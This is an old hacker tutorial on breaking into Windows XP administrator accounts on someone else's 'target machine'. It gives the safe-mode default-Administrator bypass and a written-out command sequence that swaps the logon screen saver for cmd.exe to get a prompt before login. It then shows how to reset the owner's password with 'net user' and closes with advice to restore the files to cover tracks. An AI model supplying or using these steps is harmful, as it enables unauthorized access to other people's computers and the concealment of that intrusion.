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How to hack Windows XP Admin Passwords

How to hack Windows XP Admin Passwords

How to hack Windows XP Admin Passwords the easy way by Estyle,
and Azrael.


This hack will only work if the person that owns the machine
has no intelligence. This is how it works:

When you or anyone installs Windows XP for the first time your
asked to put in your username and up to five others.

Now, unknownst to a lot of other people this is the only place in
Windows XP that you can password the default Administrator
Account. This means that to by pass most administrators accounts
on Windows XP all you have to do is boot to safe mode by pressing
during boot up and choosing it. Log into the Administrator Account

and create your own or change the password on the current Account.

This only works if the user on setup specified a password for the
Administrator Account.

This has worked for me on both Windows XP Home and Pro.


Now this one seems to be machine dependant, it works
randomly(don't know why)

If you log into a limited account on your target machine and open
up a dos prompt
then enter this set of commands Exactly:

(this appeared on a few days ago but i found
that it wouldn't work
on the welcome screen of a normal booted machine)


cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos


Now what you have just done is told the computer to backup the
command program
and the screen saver file, then edits the settings so when the
machine boots the
screen saver you will get an unprotected dos prompt with out
logging into XP.

Once this happens if you enter this command minus the quotes

"net user <admin account name here> password"

If the Administrator Account is called Frank and you want the
password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your

Have fun

p.s: dont forget to copy the contents of temphack back into the
system32 dir to cover tracks

Any updates, Errors, Suggestions or just general comments mail
them to either


    by Estyle, Jaoibh and Azrael.

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